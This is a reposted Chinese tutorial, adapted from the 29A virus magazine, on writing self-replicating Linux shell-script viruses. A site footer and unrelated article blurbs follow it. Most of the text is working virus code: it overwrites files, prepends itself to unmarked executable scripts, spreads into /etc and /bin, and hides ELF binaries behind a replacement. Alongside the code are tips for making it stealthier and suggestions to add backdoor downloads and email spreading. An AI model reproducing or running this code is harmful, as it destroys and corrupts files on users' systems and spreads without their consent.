感染linux腳本程序技術

前言
----
  本文來源于29A病毒雜志,其上對linux shell病毒技術有了一個綜合的闡述,我不想翻譯它,我以它的那篇為模板
寫了這篇中文的文章,里面的代碼我都做了調試.
  對于shell編程的程序員來說所謂的shell病毒技術其實根本就是小牛一毛,這點在大家看完本文后就會有所體會
但,簡單歸簡單,我們還是要去了解它,呵呵.

主要的shell病毒技術
-------------------
  當然,本文需要你至少了解linux shell編程的基礎知識和一星點的病毒知識.
  ok!我們進入正題!
  我們來看一個最原始的shell病毒,代碼最能說明問題:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
簡單吧?遍歷當前文件系統的所有文件,然后覆蓋所有文件.但是,我們知道linux是多用戶的操作系統,它的文件是具有
保護模式的,所以以上的腳本有可能會報出一大堆的錯誤,所以它很快就會被管理員發現并制止它的傳染.所以我們可以
為該腳本做個判斷,這樣隱蔽性就大大增強了:
---------------------------------------------------------
#shellvirus II
for file in *
??do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
??fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我們改進了一下,加了若干的判斷,判斷文件是否存在,是否文件可執行,是否我們有權限寫,再判斷它是否是腳本程序
如果是就cp $0 $file,所以這段代碼是感然該系統所有的腳本程序的,危害性還是比較大的.if grep -s echo $file>/.mmm
這句也可以這樣寫:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判斷file是否為shell
腳本程序.
  但是,腳本病毒一旦在感染完畢之后就什么也不做了,它沒有象二進制病毒那樣的潛伏的危害性,而且以上的腳本只是簡
單的覆蓋宿主而已,所以我這里利用了一下傳統的二進制病毒的感染機制,效果也不錯:),看看下面代碼:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    <-取自身保存到.test
??for file in *      <-遍歷文件系統
??do
 if test -f $file    <-判斷是否為文件
 then
   if test -x $file    <-判斷文件是否可執行
   then
      if test -w $file  <-判斷文件是否可寫
      then
       if grep -s echo $file >.mmm  <-判斷是否為腳本程序
       then
        head -n 1 $file >.mm    <-提取要感染的腳本程序的第一行
        if grep -s infection .mm >.mmm  <-判斷該文件是否已經被感染
        then
        rm -f .mm      <-已經被感染,則跳過
        else        <-還未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了傳統的二進制文件的感染機制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以說明了,其實增加了潛伏的危害性,但還是特容易被發現,沒辦法的事情,shell腳本一般都是明文的,呵呵.不過
危害性已經相當大了.這段程序用了一個感染標志:infection來判斷是否已經被感染,著在程序中可以反應出來.
ok,為了使上面的代碼不容易被發現,我必須優化它,最先考慮的肯定是精練代碼:
--------------------------------------------------------
#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
??fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
現在只有兩個臨時文件的產生了,代碼也被精簡到了13行.當然可以完全用;來把代碼甚至寫到1-2行,但這里我只是說明問題,就
不寫出來了.
好,我們看看,shell病毒還能做哪些有用的事情,有可能我們想感染別的目錄的文件,比如根目錄或者是/etc,/bin等等,因為大多
數有用的系統配置腳本都存放在那些目錄下,只要對上述代碼稍作改動就可以實現了:)
--------------------------------------------------------
#infection
xtemp=$pwd        <-保存當前路徑
head -n 22 $0 > /.test
for dir in /* ; do      <-遍歷/目錄
??if test -d $dir ; then    <-如果是目錄就cd該目錄
 cd $dir
 for file in * ; do      <-遍歷該目錄文件
  if test -f $file && test -x $file && test -w $file ; then  <-確定文件是否可執行,可寫
  if grep -s echo $file > /dev/nul ; then      <-確定是否為腳本程序
   head -n 1 $file > .mm
   if grep -s infection .mm > /dev/nul ; then    <-確定是否已經被感染
    rm .mm -f ; else
    cat $file > /.SAVEE        <-和前面的感染機制一樣感染未被感染的腳本程序
    cat /.test > $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
??fi
done
cd $xtemp    <-返回原目錄
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其實這段代碼只感染了/目錄下的一層目錄.當然我們可以使它感染的更深,只是加幾個循環而已.同樣shell病毒可以做很多事情
如download后門程序,為機器自動開后門,主動去攻擊聯網的其他機器,取用戶的email來發送傳染等等.總之它的實現技術不高深,
但也比較實用,還是值得去說明一下的,呵呵.
同樣,我們也可以感染elf文件,但危害性很小,這里不重點講,給個例程大家理解一下吧:)
-------------------------------------------------------------
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
??fi; fi
done
.$0
-------------------------------------------------------------

轉載于:https://www.cnblogs.com/Safe3/archive/2008/10/07/1305545.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/379866.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/379866.shtml
英文地址,請注明出處:http://en.pswp.cn/news/379866.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java——設計模式(簡單工廠模式)

* A:簡單工廠模式概述* 簡單工廠模式又叫靜態工廠方法模式&#xff0c;它定義了一個具體的工廠類負責創建一些類的實例* B&#xff1a;優點* 客戶端不需要再負責對象的創建&#xff0c;從而明確了各個類的職責* 簡單來說&#xff0c;客戶端你只需要用就可以了&#xff0c;就…

Java ObjectOutputStream writeFloat()方法與示例

ObjectOutputStream類writeFloat()方法 (ObjectOutputStream Class writeFloat() method) writeFloat() method is available in java.io package. 在java.io包中提供了writeFloat()方法 。 writeFloat() method is used to write the given 4 bytes of a float value. writeFl…

python安全攻防---信息收集---whois查詢

whois是用來查詢域名的IP以及所有者信息的傳輸協議。簡單地說&#xff0c;whois就是一個數據庫&#xff0c;用來查詢域名是否以及被注冊&#xff0c;以及注冊域名的詳細信息&#xff08;如域名所有人、域名注冊商等&#xff09;。 使用whois查詢&#xff0c;首先通過pip安裝py…

百度面試題:從輸入url到顯示網頁,后臺發生了什么?

參考http://igoro.com/archive/what-really-happens-when-you-navigate-to-a-url/ http://www.cnblogs.com/wenanry/archive/2010/02/25/1673368.html 原文:http://igoro.com/archive/what-really-happens-when-you-navigate-to-a-url/ 作為一個軟件開發者&#xff0c;你一定會…

VS2005無法啟動修復辦法

c:\Program Files\Microsoft Visual Studio 8\Common7\IDE>devenv /ResetSkipPkgs 轉載于:https://www.cnblogs.com/doc/archive/2008/10/10/1307887.html

Java——設計模式(工廠方法模式)

* A:工廠方法模式概述* 工廠方法模式中抽象工廠類負責定義創建對象的接口&#xff0c;具體對象的創建工作由繼承抽象工廠的具體類實現。* 簡單來說&#xff1a;先定義一個工廠&#xff0c;工廠里面有些方法&#xff0c;這些方法就是用來創建動物的&#xff0c;然后有很多子工…

python安全攻防---爬蟲基礎---get和post提交數據

get提交數據1 get提交的數據就附在提交給服務器的url之后&#xff0c;以&#xff1f;開頭參數之間以&隔開&#xff0c;例如/admin/user/123456.aspx?name123&id123 案例&#xff1a;寫個腳本&#xff0c;在sogou自動搜索周杰倫&#xff0c;并將搜索頁面的數據獲取 程…

JavaMail中解決中文附件名亂碼的問題

網上有很多類似的解決方案&#xff0c;很多是使用 if ((fileName ! null) && (fileName.toLowerCase().indexOf("gb2312") ! -1)){ fileName MimeUtility.decodeText(fileName); } 來解決&#xff0c;但對應gbk編碼的附件名&#xff0c;這里仍不能正確處…

Java ObjectOutputStream writeBytes()方法與示例

ObjectOutputStream類writeBytes()方法 (ObjectOutputStream Class writeBytes() method) writeBytes() method is available in java.io package. writeBytes()方法在java.io包中可用。 writeBytes() method is used to write the given string as a sequence of bytes. write…

如何集中注意力(3)

如何集中注意力&#xff08;3&#xff09; [ 2008-10-20 10:15 ]by Glen Stansberry of LifeDev (feed). 集中注意力并不是一件很容易的事情&#xff0c;尤其是處在當前這個充滿誘惑和紛擾的世界里。下面是繼續告訴大家一些有幫助的方法&#xff1a; 7. Plan your day to the T…

Java——網絡編程三要素

* A:計算機網絡* 是指將地理位置不同的具有獨立功能的多臺計算機及其外部設備&#xff0c;通過通信線路連接起來&#xff0c;在網絡操作系統、網絡管理軟件及網絡通信協議的管理和協調下&#xff0c;實現資源共享和信息傳遞的計算機系統。* 其實我們這些網&#xff0c;之所以能…

python安全攻防---爬蟲基礎--re解析數據

0x01 re基礎 使用re模塊&#xff0c;必須先導入re模塊 import refindall()&#xff1a;匹配所有符合正則的內容&#xff0c;返回的是一個列表 import restr "我的電話&#xff1a;10086&#xff0c;女朋友電話&#xff1a;11011" list re.findall(\d,str) print…

BSP for good 3d engine

1.open sourcehttp://irrlicht.sourceforge.net/downloads/ 2.不錯的小材質http://www.permadi.com/tutorial/webgraph/index.html 3.java bsp display(demo):http://www.symbolcraft.com/graphics/bsp/index.php http://www.faqs.org/faqs/graphics/bsptree-faq/ 4.a bps ill…

Java InputStreamReader getEncoding()方法及示例

InputStreamReader類的getEncoding()方法 (InputStreamReader Class getEncoding() method) getEncoding() method is available in java.io package. getEncoding()方法在java.io包中可用。 getEncoding() method is used to get the encoding name avail for this InputStrea…

python安全攻防---爬蟲基礎---BeautifulSoup解析

0x01 基礎 使用bs4首先要安裝&#xff0c;安裝后導入 import bs4bs對象有兩個方法&#xff0c;一個是find&#xff0c;另一個是find_all find&#xff08;標簽名&#xff0c;屬性值&#xff09;&#xff1a;只返回一個&#xff0c;返回也是bs對象&#xff0c;可以繼續用find…

DataRabbit 3.1發布,完全支持SqlServer2005/2008

增加了對SqlServer2005/2008的新的數據類型的支持&#xff0c;如uniqueidentifier、time、sql_variant等。另外&#xff0c;EntityCreator也一起更新--不再強迫為Entity生成ToString&#xff08;&#xff09;方法&#xff0c;使用者可以主動選擇是否要生成。 DataRabbit 3.1 下…

Java——Socket通信原理

* Socket通信原理圖解* A:Socket(中文翻譯為&#xff1a;電源插座)套接字概述* 網絡上具有唯一標識的IP地址和端口號組合在一起才能構成唯一能識別的標識套接字* 通信的兩端都有Socket(兩端都是電源插座&#xff0c;中間是啥&#xff1f;不就是電線啦&#xff0c;電…

asp.net鏈接mysql數據庫------------【個人收集】

在web.config文件中添加如下樣式的數據庫鏈接字符串&#xff1a; <add name"dbconnection" connectionString"DataBasedatabasename;Server127.0.0.1;Uid用戶名;Pwd密碼;character setgbk;" providerName"MySql.Data.MySqlClient"/></c…

sql2005 遠程連接

SQL Server 2005 不允許遠程連接解決方法轉載于:https://www.cnblogs.com/lcq135/archive/2008/11/06/1328380.html

Java GregorianCalendar computeTime()方法與示例

GregorianCalendar類computeTime()方法 (GregorianCalendar Class computeTime() method) computeTime() method is available in java.util package. java.util包中提供了computeTime()方法 。 computeTime() method is used to compute the calendar fields to the calendar …